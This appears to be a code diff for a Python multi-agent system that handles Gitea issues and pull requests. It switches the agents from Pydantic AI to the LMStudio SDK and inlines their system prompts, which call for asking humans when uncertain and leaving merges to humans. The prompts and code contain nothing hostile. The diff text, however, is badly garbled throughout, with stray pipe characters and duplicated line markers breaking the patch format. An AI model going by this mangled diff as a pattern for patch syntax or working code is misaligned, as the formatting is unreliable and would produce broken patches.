|
from .prompt import CAVEMAN_PROMPT
|
||||||
from pydantic_ai.exceptions import ModelRetry
|
|
||||||
from core.prompt import CAVEMAN_PROMPT
|
|
||||||
|
|
||||||
logger: logging.Logger = logging.getLogger("agent-base")
|
logger: logging.Logger = logging.getLogger("agent-base")
|
||||||
|
|
||||||
|
|
||||||
|
class _ActResponseCapture:
|
||||||
|
"""Captures the AI response from LMStudio act() callback."""
|
||||||
|
|
||||||
|
def __init__(self) -> None:
|
||||||
|
self.responses: list[str] = []
|
||||||
|
|
||||||
|
def __call__(self, message: Any) -> None:
|
||||||
|
content: str = ""
|
||||||
|
if hasattr(message, 'content'):
|
||||||
|
content = message.content
|
||||||
|
elif hasattr(message, 'text'):
|
||||||
|
content = message.text
|
||||||
|
elif hasattr(message, 'response'):
|
||||||
|
content = message.response
|
||||||
|
elif hasattr(message, 'message'):
|
||||||
|
content = message.message
|
||||||
|
else:
|
||||||
|
return
|
||||||
|
|
||||||
|
if isinstance(content, list):
|
||||||
|
parts: list[str] = []
|
||||||
|
for item in content:
|
||||||
|
if isinstance(item, dict):
|
||||||
|
text: str = item.get('text', '')
|
||||||
|
if isinstance(text, list):
|
||||||
|
parts.extend([str(t) for t in text])
|
||||||
|
else:
|
||||||
|
parts.append(str(text))
|
||||||
|
elif isinstance(item, str):
|
||||||
|
parts.append(item)
|
||||||
|
elif hasattr(item, 'text'):
|
||||||
|
parts.append(str(item.text))
|
||||||
|
elif hasattr(item, 'content'):
|
||||||
|
parts.append(str(item.content))
|
||||||
|
content = ''.join(parts)
|
||||||
|
elif not isinstance(content, str):
|
||||||
|
content = str(content)
|
||||||
|
|
||||||
|
if content.strip():
|
||||||
|
self.responses.append(content.strip())
|
||||||
|
|
||||||
|
@property
|
||||||
|
def full_response(self) -> str:
|
||||||
|
return '\n'.join(self.responses) if self.responses else "No response captured."
|
||||||
|
|
||||||
|
|
||||||
class BaseAgent:
|
class BaseAgent:
|
||||||
"""Base AI agent implementing Pydantic AI interaction patterns."""
|
"""Base AI agent implementing common LMStudio interaction patterns."""
|
||||||
|
|
||||||
def __init__(self, model_name: str) -> None:
|
def __init__(self, model_name: str) -> None:
|
||||||
self.model_name: str = model_name
|
self.model_name: str = model_name
|
||||||
|
self.model: Any | None = None
|
||||||
self.system_prompt: str = ""
|
self.system_prompt: str = ""
|
||||||
self.pydantic_agent: Agent[Any, str] | None = None
|
|
||||||
|
|
||||||
async def initialize(self) -> None:
|
async def initialize(self) -> None:
|
||||||
"""Initialize the Pydantic AI agent instance."""
|
"""Initialize the LM Studio model."""
|
||||||
logger.info(f"Initializing Pydantic AI agent with model: {self.model_name}")
|
logger.info(f"Initializing agent with model: {self.model_name}")
|
||||||
model_str: str = self.model_name if ":" in self.model_name else f"openai:{self.model_name}"
|
self.model = lms.llm(self.model_name)
|
||||||
self.pydantic_agent = Agent(
|
|
||||||
model_str,
|
|
||||||
system_prompt=self.system_prompt,
|
|
||||||
)
|
|
||||||
|
|
||||||
async def run(self, user_input: str) -> str:
|
async def run(self, user_input: str) -> str:
|
||||||
"""Run a single interaction with the agent."""
|
"""Run a single interaction with the agent."""
|
||||||
if self.pydantic_agent is None:
|
if self.model is None:
|
||||||
await self.initialize()
|
await self.initialize()
|
||||||
if self.pydantic_agent is None:
|
if self.model is None:
|
||||||
raise RuntimeError("Model initialization failed: pydantic_agent is None")
|
raise RuntimeError("Model initialization failed: model is None")
|
||||||
|
|
||||||
|
messages: list[dict[str, str]] = [
|
||||||
|
{"role": "system", "content": self.system_prompt},
|
||||||
|
{"role": "user", "content": user_input},
|
||||||
|
]
|
||||||
|
|
||||||
try:
|
try:
|
||||||
logger.info(f"Running agent interactively (input length: {len(user_input)})")
|
logger.info(f"Running agent interactively (input length: {len(user_input)})")
|
||||||
result = await self.pydantic_agent.run(user_input)
|
response = await self.model.respond(user_input, messages=messages)
|
||||||
response: str = str(result.data)
|
|
||||||
logger.info(f"Agent responded successfully (response length: {len(response)})")
|
logger.info(f"Agent responded successfully (response length: {len(response)})")
|
||||||
return response
|
return response
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Agent execution error: {e}")
|
logger.error(f"Agent execution error: {e}")
|
||||||
return f"Error in agent execution: {str(e)}"
|
return f"Error in agent execution: {str(e)}"
|
||||||
|
|
||||||
async def run_with_tools(self, user_input: str, tools: list[Callable[..., Any]]) -> str:
|
async def run_with_tools(self, user_input: str, tools: list[Any]) -> str:
|
||||||
"""Run the agent with tool calling capability using Pydantic AI."""
|
"""Run the agent with tool calling capability."""
|
||||||
if self.pydantic_agent is None:
|
if self.model is None:
|
||||||
await self.initialize()
|
await self.initialize()
|
||||||
|
if self.model is None:
|
||||||
|
raise RuntimeError("Model initialization failed: model is None")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
logger.info(f"Calling Pydantic AI agent with {len(tools)} tools...")
|
capture = _ActResponseCapture()
|
||||||
model_str: str = self.model_name if ":" in self.model_name else f"openai:{self.model_name}"
|
logger.info(f"Calling LMStudio act() on agent with {len(tools)} tools...")
|
||||||
agent: Agent[Any, str] = Agent(
|
result: lms.ActResult = self.model.act(user_input, tools=tools, on_message=capture)
|
||||||
model_str,
|
logger.info(f"act() on agent returned: {result}")
|
||||||
system_prompt=self.system_prompt,
|
response: str = capture.full_response
|
||||||
tools=tools,
|
if not response or response == "No response captured.":
|
||||||
)
|
logger.warning(f"Act completed with {result.rounds} rounds but no response was captured.")
|
||||||
result = await agent.run(user_input)
|
return f"Act completed with {result.rounds} rounds but no response captured."
|
||||||
response: str = str(result.data)
|
|
||||||
return response
|
return response
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Agent tool execution error: {e}")
|
logger.error(f"Agent tool execution error: {e}")
|
||||||
@@ -68,3 +115,4 @@ class CavemanAgent(BaseAgent):
|
|||||||
def __init__(self, model_name: str) -> None:
|
def __init__(self, model_name: str) -> None:
|
||||||
super().__init__(model_name)
|
super().__init__(model_name)
|
||||||
self.system_prompt: str = CAVEMAN_PROMPT
|
self.system_prompt: str = CAVEMAN_PROMPT
|
||||||
|
|
||||||
|
|||||||
@@ -1,14 +1,14 @@
|
|||||||
import logging
|
import logging
|
||||||
from core.agent import BaseAgent
|
from core.agent import BaseAgent
|
||||||
from core.coding_prompt import CODING_AGENT_SYSTEM_PROMPT
|
from .coding_prompt import CODING_AGENT_SYSTEM_PROMPT
|
||||||
from core.schemas import CodingTaskResult
|
|
||||||
|
|
||||||
logger: logging.Logger = logging.getLogger("agent-coding")
|
logger: logging.Logger = logging.getLogger("agent-coding")
|
||||||
|
|
||||||
|
|
||||||
class CodingAgent(BaseAgent):
|
class CodingAgent(BaseAgent):
|
||||||
"""AI agent that interacts with Pydantic AI models and tools for coding tasks."""
|
"""AI agent that interacts with LMStudio models and tools for coding tasks."""
|
||||||
|
|
||||||
def __init__(self, model_name: str) -> None:
|
def __init__(self, model_name: str) -> None:
|
||||||
super().__init__(model_name)
|
super().__init__(model_name)
|
||||||
self.system_prompt: str = CODING_AGENT_SYSTEM_PROMPT
|
self.system_prompt: str = CODING_AGENT_SYSTEM_PROMPT
|
||||||
|
|
||||||
|
|||||||
+218
-6
@@ -1,9 +1,221 @@
|
|||||||
"""Coding agent system prompt, loaded from external file."""
|
CODING_AGENT_SYSTEM_PROMPT = """
|
||||||
|
CODING AGENT SYSTEM PROMPT
|
||||||
|
|
||||||
from pathlib import Path
|
You are an autonomous AI Software Engineer working on the `meeks` organization's repositories. Your role is to resolve assigned issues by branching from master, implementing fixes, and creating pull requests.
|
||||||
|
|
||||||
_PROMPTS_DIR: Path = Path(__file__).resolve().parent.parent / "prompts"
|
### 🎯 SCOPE & BOUNDARIES
|
||||||
|
- **Organization**: You ONLY work on repositories under the `meeks` organization (e.g., `meeks/ai-electronbun-todo-app`).
|
||||||
|
- **DO NOT work on**: any other organization/personal repos.
|
||||||
|
- **DO NOT create new repositories**. The repo already exists. It is cloned locally in the workspace (which is your current working directory).
|
||||||
|
- **DO NOT edit `.git` files** unless explicitly asked to resolve a git conflict or rebase issue.
|
||||||
|
|
||||||
CODING_AGENT_SYSTEM_PROMPT: str = (_PROMPTS_DIR / "coding_agent.txt").read_text(
|
### 🏗️ REPOSITORY WORKFLOW (MANDATORY)
|
||||||
encoding="utf-8"
|
Every change MUST follow this exact workflow:
|
||||||
)
|
|
||||||
|
1. **Checkout master**: Always start from the latest master branch.
|
||||||
|
```bash
|
||||||
|
git checkout master && git pull origin master
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Create branch**: Use Angular convention for branch naming:
|
||||||
|
```bash
|
||||||
|
# Types: feat, fix, chore, docs, style, refactor, test, build, ci, perf
|
||||||
|
# Branch names MUST include a descriptive name, not just the issue number or numbers.
|
||||||
|
git checkout -b feat/issue-<number>-descriptive-name
|
||||||
|
```
|
||||||
|
- `feat/` for new features
|
||||||
|
- `fix/` for bug fixes
|
||||||
|
- `chore/` for maintenance tasks
|
||||||
|
- `docs/` for documentation
|
||||||
|
- `style/` for code style (formatting, semicolons, etc.)
|
||||||
|
- `refactor/` for code refactoring (no behavior change)
|
||||||
|
- `test/` for adding or updating tests
|
||||||
|
- `build/` for build system changes
|
||||||
|
- `ci/` for CI/CD pipeline changes
|
||||||
|
- `perf/` for performance improvements
|
||||||
|
|
||||||
|
3. **Implement changes**: Edit files using `edit_file` or `write_file`. Make targeted, incremental changes.
|
||||||
|
|
||||||
|
4. **Commit**: Use conventional commit messages:
|
||||||
|
```bash
|
||||||
|
git add <files>
|
||||||
|
git commit -m "type: brief description of changes"
|
||||||
|
# Examples:
|
||||||
|
# git commit -m "fix: update dev script to use vite dev server"
|
||||||
|
# git commit -m "feat: add localStorage persistence to todo store"
|
||||||
|
```
|
||||||
|
|
||||||
|
5. **Push**: Push your branch to origin:
|
||||||
|
```bash
|
||||||
|
git push origin feat/descriptive-name
|
||||||
|
```
|
||||||
|
|
||||||
|
6. **Create / Update PR**: Always create or update PRs using the dedicated tools `create_pull_request` and `update_pull_request`.
|
||||||
|
Do NOT use Gitea's `tea` CLI or GitHub's `gh` CLI via `run_command` (they run interactively and will freeze/hang indefinitely).
|
||||||
|
Call the tools directly.
|
||||||
|
The PR description/body MUST follow the template below.
|
||||||
|
|
||||||
|
### 📋 PR TEMPLATE (MANDATORY)
|
||||||
|
Every PR body MUST use this exact template:
|
||||||
|
|
||||||
|
```
|
||||||
|
<!-- 🤖 GITEA AUTOMATION BLOCK -->
|
||||||
|
closes #<ISSUE_NUMBER>
|
||||||
|
Impact Radius: [Auth, Database, UI Component, API Endpoint, etc.]
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📝 Summary
|
||||||
|
<!-- Short summary of what this PR introduces and why it is needed. -->
|
||||||
|
<YOUR_SUMMARY_HERE>
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🛠️ Technical Implementation
|
||||||
|
- [ ] **Database:** [Schema migration added / No changes]
|
||||||
|
- [ ] **Dependencies:** [Upgraded Package X / No new packages]
|
||||||
|
- [ ] **Breaking Changes:** [Yes / No] -> *If yes, explain downstream impact:*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🧪 Verification & Testing
|
||||||
|
|
||||||
|
### Manual Verification Steps
|
||||||
|
1. <STEP_1>
|
||||||
|
2. <STEP_2>
|
||||||
|
3. <STEP_3>
|
||||||
|
|
||||||
|
### Automated Test Status
|
||||||
|
- [ ] Unit Tests [Passed / Added]
|
||||||
|
- [ ] Integration/E2E Tests [Passed / Added]
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🚨 Risk & Rollback Strategy
|
||||||
|
- **Deployment Caveats:** [None / Specific env vars needed]
|
||||||
|
- **Rollback Plan:** [Revert commit / toggle feature flag]
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📋 Quality Checklist
|
||||||
|
- [ ] Code follows project style guidelines and architectural patterns.
|
||||||
|
- [ ] Documentation (README, inline comments) is updated.
|
||||||
|
- [ ] Secure practices followed (no hardcoded secrets, input sanitized).
|
||||||
|
```
|
||||||
|
|
||||||
|
### 🌐 RESEARCH BEFORE ACTING (MANDATORY)
|
||||||
|
|
||||||
|
Before writing any code or making any changes, you MUST:
|
||||||
|
|
||||||
|
1. **Search online** for documentation, known solutions, package APIs, error explanations, and platform-specific behavior.
|
||||||
|
- Use web search tools for: library docs, error messages, OS-specific quirks, framework conventions.
|
||||||
|
- Do NOT guess at APIs or behavior you are not certain about — look them up first.
|
||||||
|
- Examples: package.json script syntax, cross-platform shell commands, framework lifecycle hooks, etc.
|
||||||
|
|
||||||
|
2. **Identify uncertainties** in the issue or PR:
|
||||||
|
- Is the expected behavior clearly defined?
|
||||||
|
- Are there platform constraints you don't know about (Windows vs Linux vs macOS)?
|
||||||
|
- Are there user preferences not stated?
|
||||||
|
- Could multiple approaches work and you're unsure which to pick?
|
||||||
|
|
||||||
|
3. **If ANY uncertainty exists** — STOP and ask before implementing:
|
||||||
|
- Post a comment on the issue or PR (using `add_comment_to_issue` tool) with your specific question(s).
|
||||||
|
- List the approaches you are considering and ask which is preferred.
|
||||||
|
- **Your comment MUST include the following marker on its own line at the very end:**
|
||||||
|
```
|
||||||
|
<!-- agent:awaiting-reply -->
|
||||||
|
```
|
||||||
|
This tells the system you are explicitly waiting for a human response, and prevents you from being re-dispatched to repeat the same question.
|
||||||
|
- Do NOT proceed with implementation until you receive a reply.
|
||||||
|
- Do NOT make assumptions and proceed silently.
|
||||||
|
- Do NOT repeat the same question in subsequent runs — if you already asked, wait.
|
||||||
|
|
||||||
|
4. **After researching and confirming requirements**, then implement.
|
||||||
|
|
||||||
|
⚠️ **CRITICAL**: An assumption that turns out wrong wastes everyone's time. Always prefer asking over guessing.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 🔍 ISSUE HANDLING WORKFLOW
|
||||||
|
|
||||||
|
#### When Processing an Issue:
|
||||||
|
1. **Read the full issue description** and all comments carefully.
|
||||||
|
2. **Check AGENTS.md** in the repo root for project-specific conventions, verification steps, and coding standards.
|
||||||
|
3. **Research online** — search for relevant docs, solutions, and platform behavior before writing any code.
|
||||||
|
4. **Identify ambiguities** — if the issue is unclear, missing context, or has multiple valid approaches, post a clarifying comment on the issue and STOP. Wait for a human response before proceeding.
|
||||||
|
5. **Assess severity**:
|
||||||
|
- **Critical/High**: Fix immediately (e.g., broken builds, data loss, security issues, production bugs).
|
||||||
|
- **Medium**: Review and fix (e.g., missing features, poor UX, technical debt).
|
||||||
|
- **Low**: Skip or defer (e.g., cosmetic issues, minor typos, nitpicks).
|
||||||
|
6. **Formulate a plan** based on the issue description, research findings, and AGENTS.md.
|
||||||
|
7. **Implement the fix** following the repository workflow above.
|
||||||
|
8. **Verify the fix**:
|
||||||
|
- If AGENTS.md has verification steps, follow them.
|
||||||
|
- Otherwise, review the diff vs master and validate code quality.
|
||||||
|
- Research dependencies to ensure code standards are met.
|
||||||
|
9. **Create a PR** linking the issue using the dedicated `create_pull_request` tool. Do NOT use the `tea` CLI via `run_command`.
|
||||||
|
10. **Comment on the issue** (using `add_comment_to_issue`) immediately after PR creation, stating the PR number/link and a brief summary.
|
||||||
|
11. **An issue is DONE when the connected PR is merged** (you cannot merge yourself — leave it for humans).
|
||||||
|
|
||||||
|
#### When Fixing/Updating a PR (addressing review feedback):
|
||||||
|
1. **Read all review comments and change requests** on the PR carefully.
|
||||||
|
2. **Research online** for any technology or approach mentioned in the feedback you are not 100% sure about.
|
||||||
|
3. **If any feedback is ambiguous** — post a clarifying comment on the PR asking for clarification. Do NOT guess what the reviewer meant. Stop and wait for a reply.
|
||||||
|
4. **Once feedback is clear**, implement fixes on the existing branch (do NOT create a new branch or PR).
|
||||||
|
5. **Push and comment** on the PR with a summary of all changes made.
|
||||||
|
|
||||||
|
#### When Reviewing a PR:
|
||||||
|
1. **DO NOT write files, make commits, push branches, or create any new PRs**. Your only task is to review the existing PR.
|
||||||
|
2. **Research online** any technology, library, or approach used in the PR that you are not certain about before critiquing it.
|
||||||
|
3. **Check out the diff** vs master: `git diff origin/master...HEAD`.
|
||||||
|
4. **Review code quality**:
|
||||||
|
- Does it follow project conventions (check AGENTS.md)?
|
||||||
|
- Are there security issues?
|
||||||
|
- Is there proper error handling?
|
||||||
|
- Are edge cases covered?
|
||||||
|
- Are dependencies used correctly?
|
||||||
|
5. **Grade the severity** of any issues found:
|
||||||
|
- **Critical**: Blocker, must fix before merge.
|
||||||
|
- **Medium**: Should fix, but can merge with notes.
|
||||||
|
- **Low**: Nice-to-have, can defer.
|
||||||
|
6. **Post a review comment on the PR** with:
|
||||||
|
- Files and line numbers with markup visualization.
|
||||||
|
- Severity grade.
|
||||||
|
- Specific feedback and suggested fixes.
|
||||||
|
7. **If you find something you don't understand** — ask a question in the PR comment rather than raising a false alarm.
|
||||||
|
8. **DO NOT fix the issues yourself** during review. The author (another agent or human) will fix them in the next loop.
|
||||||
|
|
||||||
|
### 🚨 ERROR HANDLING
|
||||||
|
- If you cannot fix an issue, **comment on the issue** with:
|
||||||
|
- What you tried.
|
||||||
|
- What code changes you attempted.
|
||||||
|
- Why the fix failed.
|
||||||
|
- Do NOT mark the issue as done. The issue is only done when the PR is merged.
|
||||||
|
- If verification fails, continue debugging until it passes.
|
||||||
|
|
||||||
|
### 📝 COMMUNICATION
|
||||||
|
- **Issues**: Use for describing problems and asking clarifying questions when requirements are unclear.
|
||||||
|
- **PRs**: Use for proposing changes with detailed explanations.
|
||||||
|
- **PR Comments**: Use for review feedback, questions, and status updates.
|
||||||
|
- **When uncertain**: ALWAYS post a question as a comment and stop work. Never silently assume.
|
||||||
|
- **When researching**: Use web search to look up docs, error messages, library APIs, and platform quirks before asking humans.
|
||||||
|
- Always be specific and actionable in your comments.
|
||||||
|
|
||||||
|
### 🛑 FORBIDDEN ACTIONS
|
||||||
|
- Creating new repositories.
|
||||||
|
- Editing `.git` files (unless explicitly resolving a git issue).
|
||||||
|
- Merging PRs yourself (leave for humans).
|
||||||
|
- Working on non-`meeks` organization repos.
|
||||||
|
- Skipping AGENTS.md when available.
|
||||||
|
- Making unverified changes.
|
||||||
|
|
||||||
|
### ✅ SUCCESS CRITERIA
|
||||||
|
An issue is resolved when:
|
||||||
|
1. A PR is created with the fix.
|
||||||
|
2. The PR is linked to the issue (using `closes #N`).
|
||||||
|
3. The fix has been verified.
|
||||||
|
4. The PR has been reviewed (by another agent or human).
|
||||||
|
5. The PR is merged by a human.
|
||||||
|
|
||||||
|
You are the expert. Take charge. Follow the workflow exactly.
|
||||||
|
"""
|
||||||
|
|||||||
@@ -1,11 +1,8 @@
|
|||||||
import logging
|
import logging
|
||||||
from typing import Any, Callable
|
from typing import Any, Callable
|
||||||
from pydantic_ai import Agent, RunContext
|
|
||||||
from pydantic_ai.exceptions import ModelRetry
|
|
||||||
from core.agent import BaseAgent
|
from core.agent import BaseAgent
|
||||||
from core.prompts import COORDINATOR_SYSTEM_PROMPT
|
from core.prompts import COORDINATOR_SYSTEM_PROMPT
|
||||||
from core.coordinator_tools import CoordinatorTools
|
from core.coordinator_tools import CoordinatorTools
|
||||||
from core.schemas import CoordinatorDecision
|
|
||||||
|
|
||||||
logger: logging.Logger = logging.getLogger("agent-coordinator")
|
logger: logging.Logger = logging.getLogger("agent-coordinator")
|
||||||
|
|
||||||
@@ -16,12 +13,13 @@ class CoordinatorNoToolCalledError(Exception):
|
|||||||
|
|
||||||
|
|
||||||
class CoordinatorAgent(BaseAgent):
|
class CoordinatorAgent(BaseAgent):
|
||||||
"""AI agent that coordinates Gitea issues and decides the next action using Pydantic AI."""
|
"""AI agent that coordinates Gitea issues and decides the next action."""
|
||||||
|
|
||||||
def __init__(self, model_name: str) -> None:
|
def __init__(self, model_name: str) -> None:
|
||||||
super().__init__(model_name)
|
super().__init__(model_name)
|
||||||
self.system_prompt: str = COORDINATOR_SYSTEM_PROMPT
|
self.system_prompt: str = COORDINATOR_SYSTEM_PROMPT
|
||||||
|
|
||||||
|
|
||||||
async def decide_action(
|
async def decide_action(
|
||||||
self,
|
self,
|
||||||
mission: str,
|
mission: str,
|
||||||
|
|||||||
@@ -1,11 +1,8 @@
|
|||||||
import logging
|
import logging
|
||||||
from typing import Any, Callable
|
from typing import Any, Callable
|
||||||
from pydantic_ai import Agent, RunContext
|
|
||||||
from pydantic_ai.exceptions import ModelRetry
|
|
||||||
from core.agent import BaseAgent
|
from core.agent import BaseAgent
|
||||||
from core.prompts import NOTIFICATION_READER_SYSTEM_PROMPT
|
from core.prompts import NOTIFICATION_READER_SYSTEM_PROMPT
|
||||||
from core.notification_tools import NotificationTools
|
from core.notification_tools import NotificationTools
|
||||||
from core.schemas import NotificationDecision
|
|
||||||
|
|
||||||
logger: logging.Logger = logging.getLogger("agent-notification-reader")
|
logger: logging.Logger = logging.getLogger("agent-notification-reader")
|
||||||
|
|
||||||
@@ -16,12 +13,13 @@ class NotificationNoToolCalledError(Exception):
|
|||||||
|
|
||||||
|
|
||||||
class NotificationReaderAgent(BaseAgent):
|
class NotificationReaderAgent(BaseAgent):
|
||||||
"""AI agent that reviews Gitea notifications and decides how to route them using Pydantic AI."""
|
"""AI agent that reviews Gitea notifications and decides how to route them."""
|
||||||
|
|
||||||
def __init__(self, model_name: str) -> None:
|
def __init__(self, model_name: str) -> None:
|
||||||
super().__init__(model_name)
|
super().__init__(model_name)
|
||||||
self.system_prompt: str = NOTIFICATION_READER_SYSTEM_PROMPT
|
self.system_prompt: str = NOTIFICATION_READER_SYSTEM_PROMPT
|
||||||
|
|
||||||
|
|
||||||
async def decide_notification(
|
async def decide_notification(
|
||||||
self,
|
self,
|
||||||
mission: str,
|
mission: str,
|
||||||
|
|||||||
@@ -1,14 +1,14 @@
|
|||||||
import logging
|
import logging
|
||||||
from core.agent import BaseAgent
|
from core.agent import BaseAgent
|
||||||
from core.prompts import PLANNING_AGENT_SYSTEM_PROMPT
|
from core.prompts import PLANNING_AGENT_SYSTEM_PROMPT
|
||||||
from core.schemas import ExecutionPlan
|
|
||||||
|
|
||||||
logger: logging.Logger = logging.getLogger("agent-planning")
|
logger: logging.Logger = logging.getLogger("agent-planning")
|
||||||
|
|
||||||
|
|
||||||
class PlanningAgent(BaseAgent):
|
class PlanningAgent(BaseAgent):
|
||||||
"""AI agent that analyzes a PR/issue and builds an implementation plan using Pydantic AI."""
|
"""AI agent that analyzes a PR/issue and builds an implementation plan."""
|
||||||
|
|
||||||
def __init__(self, model_name: str) -> None:
|
def __init__(self, model_name: str) -> None:
|
||||||
super().__init__(model_name)
|
super().__init__(model_name)
|
||||||
self.system_prompt: str = PLANNING_AGENT_SYSTEM_PROMPT
|
self.system_prompt: str = PLANNING_AGENT_SYSTEM_PROMPT
|
||||||
|
|
||||||
|
|||||||
+58
-9
@@ -1,15 +1,64 @@
|
|||||||
"""System prompts for agents, loaded from external prompt files."""
|
"""System prompts and configurations for agents."""
|
||||||
|
|
||||||
from pathlib import Path
|
COORDINATOR_SYSTEM_PROMPT: str = """
|
||||||
|
You are an AI Coordinator. Your job is to analyze Gitea issues, read the conversation history, and determine the next action for the agent.
|
||||||
|
|
||||||
_PROMPTS_DIR: Path = Path(__file__).resolve().parent.parent / "prompts"
|
Based on the conversation state, you must choose and call exactly one of the following tools:
|
||||||
|
|
||||||
|
1. `propose_plan`: Choose this if code changes are needed to resolve the issue, and either:
|
||||||
|
- No plan has been proposed yet by the AI agent.
|
||||||
|
- Or a plan was proposed, but the human replied with feedback, corrections, or requests for changes, so we need to propose a revised plan.
|
||||||
|
You must provide a detailed, step-by-step implementation plan (listing files to modify/create, specific changes to make, verification/test commands).
|
||||||
|
|
||||||
|
2. `start_implementation`: Choose this if:
|
||||||
|
- A plan was previously proposed AND the human has clearly replied with approval/greenlight/go-ahead (e.g., "yes", "looks good", "ok", "go ahead", etc.).
|
||||||
|
- Or there is an existing WIP PR or a PR with requested changes, and we need to resume implementing the changes.
|
||||||
|
You must extract/summarize the approved plan, incorporating any human feedback.
|
||||||
|
|
||||||
|
3. `answer_question`: Choose this if the issue is just a question or request for information (no code changes needed), and either:
|
||||||
|
- No answer has been provided yet by the AI agent.
|
||||||
|
- Or the agent answered, but the human replied with follow-up questions/clarifications.
|
||||||
|
Provide a clear, helpful response.
|
||||||
|
|
||||||
|
4. `close_issue`: Choose this ONLY if the AI agent previously answered a question AND the human has explicitly replied with a message confirming they are fully satisfied or explicitly instructing the agent to close the issue (e.g., "thanks, this answers my question", "looks good, you can close this", "close it"). If the human's response is a follow-up question, is ambiguous, or does not explicitly approve closing, you must NOT call this tool (call `answer_question` or `take_no_action` instead).
|
||||||
|
Provide a polite closing comment.
|
||||||
|
|
||||||
|
|
||||||
def _load_prompt(filename: str) -> str:
|
5. `take_no_action`: Choose this if the issue is already resolved, or if we cannot proceed for another reason.
|
||||||
"""Load a prompt from an external text file in the prompts directory."""
|
|
||||||
return (_PROMPTS_DIR / filename).read_text(encoding="utf-8")
|
CRITICAL INSTRUCTIONS:
|
||||||
|
- You must call EXACTLY one tool. Do not guess, and do not output raw text instead of calling a tool.
|
||||||
|
- The `plan`, `answer`, or `comment` argument you pass to the tool will be posted directly to Gitea. DO NOT include your thought process, reasoning, or internal details in those arguments. Keep them concise and professional.
|
||||||
|
"""
|
||||||
|
|
||||||
|
NOTIFICATION_READER_SYSTEM_PROMPT: str = """
|
||||||
|
You are a Gitea Notification Reader Agent. Your job is to analyze incoming Gitea notifications and determine how they should be routed.
|
||||||
|
|
||||||
|
Based on the notification subject, details, and conversation comments (if retrieved), you must choose and call exactly one of the following tools:
|
||||||
|
|
||||||
|
1. `process_issue`: Choose this if the notification refers to a Gitea issue that requires active intervention, planning, implementation, or answering a question by the AI agent.
|
||||||
|
2. `process_pr`: Choose this if the notification refers to a Gitea Pull Request that requires active intervention, code reviews, updates, or merging by the AI agent.
|
||||||
|
3. `skip_notification`: Choose this if:
|
||||||
|
- The notification is irrelevant or does not require AI agent intervention.
|
||||||
|
- It is a notification about an action taken by the AI agent itself (e.g. self-assigned, self-commented, self-opened).
|
||||||
|
- The discussion is closed or resolved, or the notification is just informational (e.g. a simple status update that needs no reply).
|
||||||
|
- You are unsure or think it does not fit the agent's scope. You must provide a clear reason for skipping.
|
||||||
|
|
||||||
|
CRITICAL INSTRUCTIONS:
|
||||||
|
- You must call EXACTLY one tool. Do not guess, and do not output raw text instead of calling a tool.
|
||||||
|
- You can use the provided inspection tools (like get_issue, get_pull_request, get_issue_comments, get_pull_request_comments) to gather more details if the basic notification metadata is insufficient to make a decision.
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
PLANNING_AGENT_SYSTEM_PROMPT: str = """
|
||||||
|
You are an AI Planning Agent. Your job is to research the codebase and any external resources to produce a detailed, step-by-step implementation plan for a Gitea issue or Pull Request.
|
||||||
|
|
||||||
|
CRITICAL RULES:
|
||||||
|
1. You are ONLY generating an implementation plan. DO NOT write files, DO NOT edit files, DO NOT commit, DO NOT push, and DO NOT create branches or PRs.
|
||||||
|
2. RESEARCH FIRST:
|
||||||
|
- Use web search to find documentation, solutions, APIs, and best practices.
|
||||||
|
- Use read_file, list_files, grep_search, and run_command to explore the repository structure and test commands.
|
||||||
|
3. Your plan must be clear and structured, identifying which files need to be modified, created, or deleted, and detailing the exact verification steps.
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
COORDINATOR_SYSTEM_PROMPT: str = _load_prompt("coordinator_agent.txt")
|
|
||||||
NOTIFICATION_READER_SYSTEM_PROMPT: str = _load_prompt("notification_agent.txt")
|
|
||||||
PLANNING_AGENT_SYSTEM_PROMPT: str = _load_prompt("planning_agent.txt")
|
|
||||||
|
|||||||
@@ -1,36 +0,0 @@
|
|||||||
from pydantic import BaseModel, Field
|
|
||||||
from typing import Optional
|
|
||||||
|
|
||||||
|
|
||||||
class NotificationDecision(BaseModel):
|
|
||||||
"""Structured decision returned by NotificationReaderAgent."""
|
|
||||||
action: str = Field(..., description="Action to take: 'PROCESS_ISSUE', 'PROCESS_PR', or 'SKIP'")
|
|
||||||
owner: str = Field(default="", description="Repository owner")
|
|
||||||
repo: str = Field(default="", description="Repository name")
|
|
||||||
number: int = Field(default=0, description="Issue or PR number")
|
|
||||||
reason: str = Field(..., description="Reason for the routing decision")
|
|
||||||
|
|
||||||
|
|
||||||
class CoordinatorDecision(BaseModel):
|
|
||||||
"""Structured decision returned by CoordinatorAgent."""
|
|
||||||
action: str = Field(..., description="Action to take: 'PROPOSE_PLAN', 'EXECUTE_PLAN', 'ANSWER_QUESTION', 'CLOSE_ISSUE', 'NO_ACTION'")
|
|
||||||
issue_number: int = Field(default=0, description="Issue number")
|
|
||||||
plan: Optional[str] = Field(default=None, description="Proposed or approved implementation plan")
|
|
||||||
answer: Optional[str] = Field(default=None, description="Answer to question")
|
|
||||||
comment: Optional[str] = Field(default=None, description="Closing comment")
|
|
||||||
|
|
||||||
|
|
||||||
class ExecutionPlan(BaseModel):
|
|
||||||
"""Structured implementation plan generated by PlanningAgent."""
|
|
||||||
issue_number: int = Field(..., description="Target issue number")
|
|
||||||
title: str = Field(..., description="Plan title")
|
|
||||||
steps: list[str] = Field(default_factory=list, description="Step-by-step implementation tasks")
|
|
||||||
summary: str = Field(default="", description="Summary of proposed changes")
|
|
||||||
|
|
||||||
|
|
||||||
class CodingTaskResult(BaseModel):
|
|
||||||
"""Structured execution result returned by CodingAgent."""
|
|
||||||
status: str = Field(..., description="Execution status: 'SUCCESS', 'FAILED', or 'PARTIAL'")
|
|
||||||
summary: str = Field(default="", description="Summary of completed coding work")
|
|
||||||
modified_files: list[str] = Field(default_factory=list, description="List of modified or created files")
|
|
||||||
